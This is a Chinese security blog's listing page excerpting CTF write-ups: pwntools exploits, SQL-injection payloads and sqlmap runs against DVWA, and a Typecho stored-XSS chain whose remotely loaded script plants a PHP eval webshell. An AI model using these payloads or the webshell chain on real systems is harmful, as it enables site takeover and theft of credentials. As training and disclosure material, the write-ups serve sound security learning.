首页
实用工具
我的旅程
在线壁纸
更多
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索
1
【工具分享】逆向工具箱 - 次元剑
89,538 阅读
2
【技术分享】PE文件结构分析 ( RVA转FOA )
7,350 阅读
3
【技术分享】NASM x86 Assembly Language
5,982 阅读
4
【技术分享】CK竞技之王游戏辅助制作
3,725 阅读
5
【每日随记】天涯明月刀无限飞修改思路
2,816 阅读
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
Search
标签搜索
Windows
Web安全
Python3
Linux
逆向工程
CTF
红队技术
人工智能
C/C++
黑客工具
Go
密码学
二进制安全
数学
漏洞挖掘
Android
eNSP
渗透测试
蓝队技术
黑客大会
发光的神
累计撰写
160
篇文章
累计收到
103
条评论
首页
栏目
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
页面
实用工具
我的旅程
在线壁纸
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索到
40
篇与
的结果
2023-09-26
【技术分享】2023年PolarCTF挑战赛Pwn篇
小狗汪汪汪以下命令可以以首字母简写。checksec woof拿到题目先查下,有哪些地方被保护了,这里就 NX 开启了保护其他没什么。NX 就是程序的栈段不允许执行代码,用来防止栈溢出攻击中植入的 shellcode 执行。gdb woof这里就直接用 gdb 进行调试了,先导入程序分析下。info functions // 查看函数表查看有哪些函数,发现有一个很敏感的函数 getshell 因为这道题跟小狗有关,这里我也加上了dog,这两个函数可以都看看。break main // 断点main函数 run这里我就在 main 函数下个断点吧,让它先跑起来。next跑起来后就单步步过,按 n 键一直往下走,直到执行让我们输入的时候,这里我正常输入几个 a 然后回车,程序就会停下来。再查看堆栈,这里 esp 是栈顶,ebp是栈底,如何溢出呢?只要我们填充垃圾数据 a * 13 字节就能到函数返回,这个时候只要在溢出的返回点传入一个地址,那么就会执行。在使用 pwntools 模块 payload 的构造就是这样的 b'a' * 13 + p32(0x804859b),因为程序是 32 位的所以 p32。cyclic 100实在不太懂怎么得出的 13 也可以用溢出的方式计算出地址的偏移量,这里我生成了100字节的垃圾数据,进行输入填充。cyclic -l 0x65616161好了,现在就可以用 python 进行编写 exp 了。from pwn import * local = True if local: io = remote('120.46.59.242', 2116) else: io = process('./woof') payload = b'a' * 13 + p32(0x804859b) io.sendline(payload) io.interactive()play这里就用 IDA 进行分析了。进入主函数可以发现这里调用了两个函数,init 和 play 。进入 init 可以发现只是做了初始化,没什么用直接看play函数。可以发现这里有个变量 var_30 它的大小是 30h 转换成 10进制那么就是 48,而 gets 用的变量正是 var_30 可以存储的大小也就是 48 个字节了。在 gets 上面还有一个 _read 函数,它的 buf 正好是 .bss 段,我们可以通过第一次输入 _read 写入 shellcode 第二次 gets 溢出到返回到 shellcode 执行。我们已经知道了是 48 然后程序是 64位的那么要 + 8, 48(缓冲区大小)+ 4(覆盖 rbp)+ 4(覆盖返回地址)。from pwn import * context(arch='amd64', os='linux') local = True if local: io = remote('120.46.59.242', 2072) else: io = process('./play') shellcode = asm(shellcraft.sh()) io.sendlineafter('playing.\n', shellcode) offset = 0x38 buf = 0x6010A0 payload = b'a' * offset + p64(buf) io.sendline(payload) io.interactive()首先通过,第一个函数 _read 写入 shellcode 到 .bss 段,然后通过 gets 溢出到返回执行 shellcode 最终得到交互。heap_Easy_Uaf通过 checksec 发现开了 Canary 和 NX 不慌先用 IDA 看看。main函数里主要有一个菜单输出,然后就是 switch 选择,可利用的函数是 Are 函数。发现一个关键的地方,那就是 system('/bin/sh'),它被一个判断给包裹住了,仔细观察 a = malloc 申请了一个空间,通过 strcpy 把 flag 字符串复制到申请的地址 a 中,然后 free 又释放掉了 a,指针 a 并没有被置为NULL,而下面又使用被释放的 a 那么就存在一个 uaf 漏洞。用 sendafter 模拟等出 Choice! 字符串就发送 5,就会执行 are 函数然后输入大小 0x68 十进制是 104,满足后再输入 Flag,就满足所有条件了。from pwn import * local = True if local: io = remote('120.46.59.242',2069) else: io = process('./heap_Easy_Uaf') io.sendafter(b'Choice!', b'5') io.sendafter(b'size :', b'104') io.sendafter(b'Content :', b'Flag') io.interactive()
2023年09月26日
663 阅读
0 评论
111 点赞
2023-04-24
【攻防技术】Typecho存储型XSS写入WebShell
影响版本漏洞影响版本:Typecho <= 1.2.0漏洞复现https://bbskali.cn/"></a><script>alert(1)</script><a/href="#随便找一篇文章,在评论里插入 js 代码。可以发现访问,发现成功弹出来了,而且是插入到了数据库中,存储型的 XSS。访问后台查看评论,也会触发插入的代码,这个时候可以偷取管理员的 cookie,进行登录后台写入一句话木马。写入webshellhttps://bbskali.cn/"></a><script/src="http://192.168.1.14/xss.js"></script><a/href="#这里我直接利用 js 让管理员登录后台或点击后台评论自己写入webshell,src="http://192.168.1.14/xss.js" 修改成你的公网域名网址。构造exp// xss.js var times = 0; var g_shell = 0; function addIframe() { var iframe = document.createElement('iframe'); iframe.id = 'testxss'; iframe.style.width = '0%'; iframe.style.height = '0%'; iframe.onload = processIframe; iframe.src = 'http://127.0.0.1/admin/theme-editor.php?theme=default&file=404.php'; document.body.appendChild(iframe); } function processIframe() { if (times > 10) { return; } var iframeDocument = document.getElementById('testxss').contentWindow.document; var htmldata = iframeDocument.getElementById('content'); var btn = iframeDocument.getElementsByTagName('button'); if (htmldata && btn && btn.length > 1) { htmldata.innerText = '<?php eval($_POST["sh"]);'; btn[1].click(); times++; if (g_shell === 1) { sendRequest(); } } } function sendRequest() { var xhr = new XMLHttpRequest(); xhr.open('GET', '/usr/themes/default/404.php?shell=1'); xhr.send(); } addIframe();当管理员访问了后台评论,那么就会写入 webshell 。可以发现后台默认模板中的 404.php 已经写入了一句话木马,当然看情况网站用了什么主题,路径名称会不一样的自己改改就好。这个时候用蚁剑就可以进行连接了。修复方案更新到 1.2.0 以上的版本,官方已修复。手动修复// var/Widget/Base/Comments.php 第 271 行代码 echo '<a href="' . $this->url . '"' // 修改为以下代码 echo '<a href="' . Common::safeUrl($this->url) . '"' // var/Widget/Feedback.php 第 209 行代码 $comment['url'] = $this->request->filter('trim')->url; // 修改为以下代码 $comment['url'] = $this->request->filter('trim', 'url')->url; // var/Widget/Feedback.php 第 308 行代码 $trackback['url'] = $this->request->filter('trim')->url; // 修改为以下代码 $trackback['url'] = $this->request->filter('trim', 'url')->url; // var/Widget/Options.php 第 85 行代码 * @property bool $commentsRequireURL // 修改为以下代码 * @property bool $commentsRequireUrl // /var/Typecho/Validate.php 第 99 行代码 return filter_var($str, FILTER_VALIDATE_EMAIL) !== false; // 修改为以下代码 return (bool) preg_match("/^[_a-z0-9-\.]+@([-a-z0-9]+\.)+[a-z]{2,}$/i", $str);
2023年04月24日
96 阅读
0 评论
12 点赞
2023-04-02
【攻防技术】Apache Shiro权限绕过漏洞(CVE-2022-32532)
影响版本Apache Shiro < 1.9.1漏洞原理在 shiro-core-1.9.0.jar 库中,包含一个名为 RegExPatternMatcher 的类。该类用于正则表达式匹配,但其匹配机制在遇到含有.(点)的表达式时存在缺陷。具体来说,当匹配字符串中出现\n(换行符)或\r(回车符)时,RegExPatternMatcher类可能会产生错误的判断结果。正常访问 /permit/any 返回的数据包中是 access denied 禁止访问的。可以使用 %0a 进行越权绕过,也可添加 token:4ra1n 进行绕过。修复建议建议更新到最新安全版。
2023年04月02日
57 阅读
0 评论
4 点赞
2023-01-19
此内容被密码保护
加密文章,请前往内页查看详情
2023年01月19日
29 阅读
0 评论
3 点赞
2022-12-08
【CTF解题】2022浙江省信息安全管理与评估解题
留言有逆向题!来劲了,让我看看你有多难,平时做的最多的就是逆向了,还是比较喜欢这个领域。程序逆向登录FTP下载Reverse.rar文件,用户名:ftp,密码:空 下载文件并解压。1.分析程序reverse_0,请找出隐藏信息,并将flag提交。flag格式:flag{<flag值>}2.分析程序reverse_1,请找出隐藏信息,并将flag提交。flag格式:flag{<flag值>}3.分析程序reverse_2,请找出隐藏信息,并将flag提交。flag格式:flag{<flag值>}4.分析程序reverse_3,请找出隐藏信息,并将flag提交。flag格式:flag{<flag值>}Reverse0 静态分析1.我已经从FTP服务器下载并解压了文件,现在有几个文件夹可供我查看。首先,让我仔细研究一下reverse0文件夹里的题目。2.在reverse0文件夹里,我发现了一个Windows PE程序。当我运行该程序并输入几个数字后按回车,程序立刻就退出了。为了更好地了解该程序的工作原理,我决定使用IDA进行代码分析。3.直接用IDA64位打开,注意:32位和64位程序,架构上是不一样的,我没有用查壳工具进行分析,是因为没有必要,是不是32位或64位程序有没有壳,用IDA一打开就能看的出来的,看提示显示AMD64这就是64位程序了。4.通过打开程序,我们可以在IDA的流程图中直接看到程序的分析结果。然而,为了让更多人理解分析的过程,我将继续在这里详细分析。5.通过在流程图界面按F5键,我们可以将反汇编代码转换为C语言代码,这样便于分析。请注意,这种转换可能不完全正确,因此最好保持分析反汇编代码的好习惯。为了节省时间,我们将直接查看转换后的C代码。int __cdecl main(int argc, const char **argv, const char **envp) { int b; // [rsp+28h] [rbp-8h] int a; // [rsp+2Ch] [rbp-4h] _main(); scanf("%d%d", &a, &b); // scanf是输入函数 这里传了两个变量 用来接收用户输入的数值 if ( a == b ) // 然后进行判断 a 等于 b 的话 那么就输出 flag。 printf("flag{this_Is_a_EaSyRe}"); else printf("sorry,you can't get flag"); // 否则就输出不能获取flag 为什么程序会退出呢 打开程序的时候。 return 0; // 输入了数值 直接就退出了,那是因为没有写暂停,即使你输入对了也不会给你看的时间。 }Reverse0 动态调试6.为了验证程序的行为,我们可以观察到,无论输入什么,程序总是会退出,为了停止它的执行,我们可以在x64dbg的帮助下使用断点,使任务简单而直接。7.然后按F8单步跳过,不进入call里,直到运行断点下方,scanf输入函数就执行起来了,这个时候我们才可以输入数值。8.在x64dbg中,按下F8就可以进行单步跳过,不进入被调用的代码段,一直到遇到断点后方的scanf输入函数,此时我们才能输入数值。flag{this_Is_a_EaSyRe}Reverse1 静态分析1.通过运行,我们发现程序需要我们输入一个正确的flag,进行判断。因为程序需要判断,所以其中一定包含了正确的flag,与我们输入的flag作比较,然后决定输出正确或错误的结果。2.让我们使用常用工具IDA来查看一下。打开后,我们意识到没有main函数。所以,我们将直接搜索关键字“flag”,看看是否有任何敏感信息3.使用快捷键Alt + T,在搜索框中输入关键词'flag'并回车,以查找相关信息。4.在IDA中, 我们使用alt + T快捷键, 输入关键字"flag"进行查询, 并通过查询发现了程序入口并识别到明显的"input the flag:"关键字. 现在, 我们可以使用F5继续进行分析。__int64 sub_1400118C0() { char *v0; // rdi 定义一个空字符指针 signed __int64 i; // rcx 定义一个64位有符号整数变量 size_t v2; // rax 定义一个无符号v2整数变量 size_t v3; // rax char v5; // [rsp+0h] [rbp-20h] 定义一个字符v5变量 int j; // [rsp+24h] [rbp+4h] char Str1; // [rsp+48h] [rbp+28h] unsigned __int64 v8; // [rsp+128h] [rbp+108h] v0 = &v5; for ( i = 82i64; i; --i ) { *(_DWORD *)v0 = -858993460; v0 += 4; } for ( j = 0; ; ++j ) { v8 = j; v2 = j_strlen(Str2); if ( v8 > v2 ) break; if ( Str2[j] == 111 ) Str2[j] = 48; } sub_1400111D1("input the flag:"); // 这是 printf 提示 sub_14001128F("%20s", &Str1); // 这是 scanf 输入 v3 = j_strlen(Str2); // 这里获取 str2 的长度 if ( !strncmp(&Str1, Str2, v3) ) // 然后判断做比较成立就 sub_1400111D1("this is the right flag!\n"); // 输出正确 else sub_1400111D1("wrong flag\n"); // 否则就错误 sub_14001113B(&v5, &unk_140019D00); return 0i64; }5.我们知道了要进行比较的值,但是不知道str2的值,我们可以通过按住Ctrl键并点击str2参数来查看它的值。6.进入内存后发现有一串字符串,它是'hello_world',不要以为它就是flag,因为这可能是个误导。代码分析#include <stdio.h> #include <cstring> int main() { char Str2[] = "{hello_world}"; for (int i = 0; i < strlen(Str2); i++) { if (Str2[i] == 111) { Str2[i] = 48; } } printf("%s", Str2); return 0; } /* 根据IDA的分析,代码通过遍历Str2字符串,并在找到字符'o'时将其替换为'0'。接着,代码通过使用strncmp函数进行比较,如果结果为真,就输出"正确"。 */Reverse1 动态调试{dplayer src="https://www.52tt.pro/usr/uploads/2022/12/1210.mp4"/}1.使用xdb64打开目标程序后,首先找到主函数入口。通过按Ctrl + F8让程序自动跳过并在停下时进入被调用的函数。在通过F7一直进入函数直到看到主函数的反汇编段,在 push 代码头部设置断点并单步运行。通过观察寄存器和堆栈里的内容,可以掌握程序执行完成后的结果。flag{hell0_w0rld}Reverse2 静态分析1.打开Reverse2题目发现是一个ELF文件,因此xdb64不能进行调试,但是可以使用IDA进行反汇编查看代码。2.打开ELF文件后,我们可以使用IDA工具查找主函数,通过查看流程图,我们可以发现有关键字的提示。接着我们可以使用快捷键F5将代码转换为C代码,以方便阅读和分析。int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax int stat_loc; // [rsp+4h] [rbp-3Ch] int i; // [rsp+8h] [rbp-38h] __pid_t pid; // [rsp+Ch] [rbp-34h] char s2; // [rsp+10h] [rbp-30h] unsigned __int64 v8; // [rsp+28h] [rbp-18h] v8 = __readfsqword(0x28u); pid = fork(); if ( pid ) { argv = &stat_loc; waitpid(pid, &stat_loc, 0); } else { for ( i = 0; i <= strlen(&flag); ++i ) // 遍历我们输入的flag { if ( *(&flag + i) == 105 || *(&flag + i) == 114 ) // 判断存在 i 或者 r *(&flag + i) = 49; // 成立就替换相应的位置 i 和 r } } printf("input the flag:", argv); // 输出提示 __isoc99_scanf("%20s", &s2); // 输入函数 用来接收 s2 地址的内容 if ( !strcmp(&flag, &s2) ) // 字符flag 与输入的 s2 进行比较 result = puts("this is the right flag!");// 满足条件就成立 else result = puts("wrong flag!"); // 不满足就错误 return result; }1.程序通过比较flag与我们输入的s2字符串,但我们不知道s2到底是什么。2.通过在IDA中使用快捷键 ctrl + 鼠标左键点击 &flag,我们可以查看 s2 存储的字符串 hacking_for_fun},并且结合前面的代码分析可以得出结果。flag{hack1ng_fo1_fun}Reverse3 静态分析1.需要使用IDA32打开Reverse3题目,因为它是一个32位的PE程序,架构与其他程序不同。2.通过使用IDA32,打开Reverse3题目,因为它是一个32位的PE程序,我们可以按F5键将它转换为C代码,以便更好地分析其内部代码实现。__int64 main_0() { size_t v0; // eax const char *v1; // eax size_t v2; // eax int v3; // edx __int64 v4; // ST08_8 signed int j; // [esp+DCh] [ebp-ACh] signed int i; // [esp+E8h] [ebp-A0h] signed int v8; // [esp+E8h] [ebp-A0h] char Dest[108]; // [esp+F4h] [ebp-94h] char Str; // [esp+160h] [ebp-28h] char v11; // [esp+17Ch] [ebp-Ch] for ( i = 0; i < 100; ++i ) { if ( (unsigned int)i >= 0x64 ) j____report_rangecheckfailure(); Dest[i] = 0; } sub_41132F("please enter the flag:"); sub_411375("%20s", &Str); v0 = j_strlen(&Str); v1 = (const char *)sub_4110BE(&Str, v0, &v11); strncpy(Dest, v1, 0x28u); v8 = j_strlen(Dest); for ( j = 0; j < v8; ++j ) // 是在这里做运算了。 Dest[j] += j; v2 = j_strlen(Dest); if ( !strncmp(Dest, Str2, v2) ) // dest 与 str2 进行比较 v2 是指定的字符位置 sub_41132F("rigth flag!\n"); // 成立就对了 else sub_41132F("wrong flag!\n"); // 否则就错误 HIDWORD(v4) = v3; LODWORD(v4) = 0; return v4; }package main import ( "encoding/base64" "fmt" ) var ( count string str = "e3nifIH9b_C@n@dH" ) func main() { for i := 0; i < len(str); i++ { count += string(int(str[i]) - i) } text, err := base64.StdEncoding.DecodeString(count) if err != nil { panic(err) } fmt.Println(string(text)) }import base64 cont = '' context = "e3nifIH9b_C@n@dH" for i in range(0,len(context)): cont += str(chr(ord(context[i])- i)) print(base64.b64decode(cont).decode())flag{i_l0ve_you}1.Reverse3题目使用了base64加密,通过ASCII码加循环运算进行加密,我用Go语言写了一个程序解密了它,太晚了,说的不详细,现在要睡了。Reverse3 动态调试2.通过动态调试,获得解密结果,提交后得到正确的答案,解题完成。应急响应如果是黑客攻击的话,黑客的流量入口一定是通过HTTP服务,这会在HTTP日志中留下痕迹,如上传恶意文件(如webshell,后门,rootkit等),从而导致恶意进程(如CPU利用率),恶意用户攻击路径对应的服务漏洞,以及本地漏洞等问题。题目11.提交攻击者的 IP 地址。通过研究网页服务,我们可以发现它正在使用Apache,许多软件和服务都有日志记录,我们可以通过分析Apache日志来更好地了解系统运行情况。cd /var/log/apache2awk -F " " '{print $1}' access.log.1 | sort | uniq -c awk -F " " '{print $1" "$4" "$7" "$6}' access.log.1 | sort uniq -c # 多行输出其中,$1、$4、$7、$6 分别代表 Apache access.log 日志文件中的第一个字段,第四个字段第七个字段和第六个字段。通过分析 Apache 日志,我们可以发现哪个 IP 地址连接次数最多,从而确定是否遭受了攻击。flag{192.168.1.7}awk -F " " '{print $7}' access.log.1 | sort | uniq -c题目22.识别攻击者使用的操作系统cat access.log.1 | grep "192.168.1.7" | head -n 1题目33.找出攻击者资产收集所使⽤的平台cat access.log.1 | grep "https"题目44.提交攻击者目录扫描所使用的工具名称常见的扫描工具dirsearch dirb gobuster dirbuster ffuf wfuzz题目55.提交攻击者首次攻击成功的时间,格式:DD/MM/YY:HH:MM:SS题目66.找到攻击者写入的恶意后的文件,提交⽂件名(完整路径)和后门密码 1.phpgrep -r "eval(" /var/www题目77.找到攻击者隐藏在正常web应用代码中的恶意代码,提交该文件名(完整路径) footer.phpfind . -name "*.php" | grep "1"题目8-9-108.识别系统中存在的恶意程序进程,提交进程名 ./prism9.找到⽂件系统中的恶意程序文件并提交⽂件名(完整路径)prism10.简要描述该恶意⽂件的⾏为crontab -l # 列出启动项 crontab -e # 编辑启动项通过观察系统任务周期,我们可以发现 Prism 程序的存在以及它的路径。find / -name prism cd /root/.mal/ ./prism inf0通过分析任务周期,可以确定程序的名称为 prism,在这个目录下,可以使用搜索功能找到 prism 并进入该目录,使用 history 命令查看过去的输入历史,以找到 prism 的运行参数,最后运行该程序,观察是否有任何变化。恶意行为运行恶意二进制文件,使用sh shell启动一个bind shell,等待恶意IP的连接,输入对应的密码即可与该shell建立连接。答题系统方法11.将解压后的源代码放入 phpstudy 服务器中,直接可以通过浏览器访问,"可以发现,该网站每三秒就会刷新一次,因此,我们需要做的是在三秒内作答并提交答案,以获得flag,由于人类难以计算,因此,我们可以利用编程或工具的力量来解决问题。import requests, re def main(): session = requests.Session() response = session.get("http://10.60.47.126:81/index.php") html = re.compile(r'<h2.*?>(.*?)</h2>', re.S) res = html.search(response.text).group(1) clac = re.sub("x","*", res) data = { 'answer': eval(clac[:-3]) } answer = session.post("http://10.60.47.126:81/check.php", data=data) print(answer.text) if __name__ == '__main__': main()方法2F12打开浏览器调试工具,在控制台中输入延迟函数 stop(100000),延迟网页刷新速度进行即可计算答题。流量分析题目1从靶机服务器的 FTP 上下载capture.pcapng数据包,账号名:ftp,密码:空,使用Wireshark分析数据包找出telnet服务器(路由器)的用戶名和密码,并将密码作为Flag值提交。flag格式:flag{密码}通过使用关键字搜索,我们可以发现相关的数据包。关键字 “invalid” 表示错误,而 “success” 则代表正确。我们可以使用过滤语句,追踪TCP流,逐个搜索关键字即可。/* telnet 账号:admin telnet 密码:Cisc0 */ flag{Cisc0}题目2使用Wireshark分析capture.pcapng数据流量包,telnet服务器是一台路由器,找出此台路由器的特权密码,并将密码作为Flag值提交。flag格式:flag{密码}通过对第一个问题的分析,我们获得了特权访问的密码。flag{cisco123}题目3通过结合协议和 IP 地址进行筛选,可以发现有 145 个数据包显示。这样就完成了分析。telnet and ip.src == 192.168.181.141flag{145}题目4通过过滤出 FTP 的命令,发现数量很少,可以用人眼手动分析。flag{PORT 192,168,181,1,235,130}题目7使用Wireshark分析capture.pcapng数据流量包,web服务器地址是192.168.181.250,其使用的脚本语言为php,将服务器使用php的版本号作为Flag值提交。flag格式:flag{php版本号}ip.src == 192.168.181.250 and httpflag{5.5.38}题目8使用Wireshark分析capture.pcapng数据流量包,web服务器地址是192.168.181.250,将web服务器软件的版本号作为Flag值提交。flag格式:flag{web软件版本号}ip.addr == 192.168.181.250 and http contains "Server"flag{2.2.15}题目9使用Wireshark分析capture.pcapng数据流量包,找出数据包当中所有HTTP状态码为404的报文,将这些报文的数量作为Flag值提交。flag格式:flag{报文数量}...题目11使用Wireshark分析capture.pcapng数据包文件,这些数据中有非常多的ICMP报文,这些报文中有大量的非正常ICMP报文,找出类型为重定向的所有报文,将报文重定向的数量作为Flag值提交。flag格式:flag{重定向数量}0:Echo Reply (回显应答)3:Destination Unreachable(目标不可达)5:Redirect(重定向)8:Echo Request(回显请求)11:Time Exceeded(超时)13:Timestamp Request(时间戳请求)14:Timestamp Reply(时间戳应答)15:Information Request(信息请求)16:Information Reply(信息应答)icmp.type eq 5flag{57}
2022年12月08日
899 阅读
0 评论
113 点赞
2022-12-03
【CTF解题】BUUCTF SQL注入篇
[第一章 web入门]SQL注入在题目中提到了SQL,那么很可能是QL存在注入,在这种情况下需要先找到注入点,也就是可以输入SQL代码的输入框或参数,网址框这里发现有个id参数,尝试修改发现到3就给我们一个提示,说可以在后面接入提示参数。根据提供的信息,可以确定存SQL注入点,然后需要尝试利用注入漏洞获取敏感信息,先猜下注入点的字段有几个,很显然到4的时候就没内容了,所有只有3个字段。?id=1' order by 3 --+接下来就是找这几个字段的回显信息在哪里显示,这样才能返回我们注入后想得到的信息结果。?id=1' union select 1,2,3 --+得到回显位置后,就可以查询了我们先看下数据库表。?id=0' union select 0,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+从注入点中成功获取到一个字段的信息。?id=0' union select 1, group_concat(column_name),3 from information_schema.columns where table_name = "fl4g" --+最后通过查询结果中的字段来获取flag信息。?id=0' union select 1,group_concat(fllllag),3 from fl4g --+n1book{union_select_is_so_cool} [极客大挑战 2019]EasySQL1尝试使用万能密码进行登录,意外地成功了,直接获取到了flag的回显信息果然标题没骗我。0' or 1=1 #flag{1db132f7-af42-4fec-b0bf-505f1e1058a4}[极客大挑战 2019]LoveSQL0' or 1=1#再次尝试使用万能密码注入时,发现出现了提示信息,说明只是账号密码错了SQL查询语句没存在错误,再试试猜字段看看有什么结果。0' order by 4#经过尝试,当查询条件中的字段值等于4时,就会出现SQL语句错误。执行一个SQL查询,查看该数据库中有多少张表。1' union select 0,group_concat(table_name),3 from information_schema.tables where table_schema=database()#可以看到这个结果中有一个名为 l0ve1ysq1 的表,非常明显就是它了。1' union select 0,group_concat(column_name),3 from information_schema.columns where table_name = "l0ve1ysq1"#最后查看下表里的内容,最终成功获取到flag。1' union select 0,group_concat(password),3 from l0ve1ysq1# flag{cce5fc31-88d9-4451-8a6d-b6bbe8197330}
2022年12月03日
53 阅读
0 评论
3 点赞
2022-12-02
【技术分享】DVWA SQL注入篇
简介DVWA(Damn Vulnerable Web Application)是一个存在各种漏洞的Web网站,可以帮助安全研究人员学习挖掘漏洞的靶机系统、里面包括一些常见的漏洞如:SQL、XSS、RCE、文件包含等等,可以很方便的快速复现漏洞。手动注入难度: LOW<?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; // 看这一段sql语句是查询的关键。 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?>分析: 判断是否存在sql注入,最简单的办法输入一个单引号,这样就会导致正常的sql语句语法错误,mysql就会报错在前端就能看见,可以查看下后端的源代码,在前端有提供。SELECT first_name, last_name FROM users WHERE user_id = ''';1.刚才输入了一个单引号提交了那么,sql语句就会拼接成这样,sql语法就错误了。2.在前端就会显示错误信息,那么就存在sql注入,有的时候会报错但在前端不显示,抓包多留一下。注入类型1.布尔注入:可以根据返回页面判断条件真假的注入;2.联合注入:可以使用 union 的注入;3.延时注入:不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;4.报错注入:页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。判断方式数字型 1 or 1=1字符型 1' or '1'='11.用数字邢判断一下类型,发现还是正常反应。2.用字符型试试看,果然有惊喜全部都出来了,为什么会出现这种情况呢,明明只有自己的账户却显示了所有人的账户呢?1' or 1=1#SELECT first_name, last_name FROM users WHERE user_id = '1' or 1 = 1;3.用这样的方式构建,就会发现拼接后的结果会是这样的,这里用到了 or 就算一个错了只要有一个成立了,那就成立。猜字段1' order by 2#SELECT first_name, last_name FROM users WHERE user_id = '1' order by 2;1.通过 order by 可以发现这个表有几个字段,要是报错了那么字段就没那么多,就会像一下结果。字段位置1' union select 1,2 #SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,2;1.我们可以发现,只有两个字段那么要找下这两个字段的位置,用这两个字段的位置给我们显示结果,这里要用到 union 联合查询。查数据库名1' union select 1, database() #SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1, database();1.可以发现 他的数据库名是 dvwa, 接下来就要找表名了。查数据库表名1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = "dvwa")#SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = "dvwa");查表字段1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa'#SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa';查字段内容1' union select user,password from users# SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users;1.成功拿到所有账号和密码,去在线的MD5解密网站解下密就可以了。难度: Medium<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; // 可以看到是数字型 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Display values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]); ?> 1.发现没有地方能注入,由于是POST请求这个时候只能用抓包软件了。1 or 1=1#SELECT first_name, last_name FROM users WHERE user_id = 1 or 1=1;2.通过php后端代码的sql语句中,可以看出是数字型。1 union select user,password from users#SELECT first_name, last_name FROM users WHERE user_id = 1 union select user,password from users;3.提交后可以发现还是一样的可以获取到账号和密码。难度: High<?php if( isset( $_SESSION [ 'id' ] ) ) { // Get input $id = $_SESSION[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>1' union select user,password from users#SELECT first_name, last_name FROM users WHERE user_id = 1 union select user,password from users;{lamp/}sqlmap注入这里我用DVWA靶场做演示,输入123 然后提交网址搜索框会有提交的参数 复制这个网址到sqlmap注入。本章只讲怎么使用sqlmap 不懂注入原理的可以学习以下教程SQL手工注入教程:https://blog.csdn.net/weixin_53139899/article/details/124229137靶场环境下载:https://wws.lanzouj.com/i7RWK07mv1li靶场安装教程:https://blog.csdn.net/Tockm/article/details/123381630查数据库名称sqlmap -u "http://192.168.3.39/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5246i26laqreugqd0u2updrtt2" --dbs --batch--cookie 必须带有因为关卡等级的原因 --dbs 显示数据库 --batch 静默yes 省去yes或no的操作查数据库表sqlmap -u "http://192.168.3.39/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5246i26laqreugqd0u2updrtt2" -D dvwa -tables --batch-D 指定数据库 -tables 显示表名4.查看表中的字段名sqlmap -u "http://192.168.3.39/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5246i26laqreugqd0u2updrtt2" -D dvwa -T users --columns --batch-T 选择表 --columns 显示列查字段内容sqlmap -u "http://192.168.3.39/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5246i26laqreugqd0u2updrtt2" -D dvwa -T users 